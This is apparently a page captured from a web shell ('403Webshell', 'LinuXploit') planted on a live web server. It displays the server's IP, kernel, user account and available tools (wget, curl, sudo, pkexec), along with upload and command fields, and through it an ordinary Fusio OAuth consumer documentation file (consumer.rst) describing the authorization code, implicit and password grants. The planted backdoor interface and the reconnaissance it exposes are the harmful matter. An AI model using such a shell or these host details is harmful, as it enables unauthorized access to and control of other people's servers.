403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/api.pacim.de/web/doc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/api.pacim.de/web/doc/consumer.rst
Consumer
========

.. image:: _static/developer.png

Fusio provides a default consumer implementation located at ``/developer`` which 
provides a basic admin panel to manage and authorize apps. It is also possible
to integrate it into an existing application. In the following an explanation 
how to authorize an app.

Authorization code
------------------

At first you have to redirect the client to the consumer endpoint containing
the app key, redirect uri and the needed scopes i.e.: 
``/developer/auth?response_type=code&client_id=[key]&redirect_uri=[url]&scope=foo,bar``.
After the user has authenticated he approves or denies the access. If he accepts
the user gets redirected to the provided ``redirect_uri``. Note the ``redirect_uri`` 
must have the same host as the url which was provided for the app. The callback 
contains a GET parameter ``code`` which can be exchanged for an access token at 
the ``/authorization/token`` endpoint.

Implicit
--------

Mostly used for javascript apps. Like in the authorization code flow the app
redirects the user to the consumer endpoint i.e.:
``/developer/auth?response_type=token&client_id=[key]&redirect_uri=[url]&scope=foo,bar``
If the user has authenticated and approved the app the user gets redirected to
the ``redirect_uri``. The callback contains the access token in the fragment 
component. The access tokens which are issued through the implicit grant have 
usually a much shorter life time because they are more insecure. It is also 
possible to deactivate the implicit grant through the configuration.

Password
--------

A user can use the password grant to obtain directly an access token with 
their username and password. Therefor he has to send a direct request to the 
``/authorization/token`` endpoint.




Youez - 2016 - github.com/yon3zu
LinuXploit